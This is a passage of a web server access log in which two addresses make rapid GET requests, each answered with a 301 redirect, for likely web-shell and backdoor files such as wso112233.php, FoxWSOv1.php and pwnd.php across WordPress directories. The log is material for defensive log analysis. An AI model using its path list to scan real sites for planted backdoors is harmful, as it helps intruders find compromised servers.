6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:53 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:53 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:53 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:53 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:53 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:54 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:54 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:22:54 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:54 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:54 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:22:54 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:22:55 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:55 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:55 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:55 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 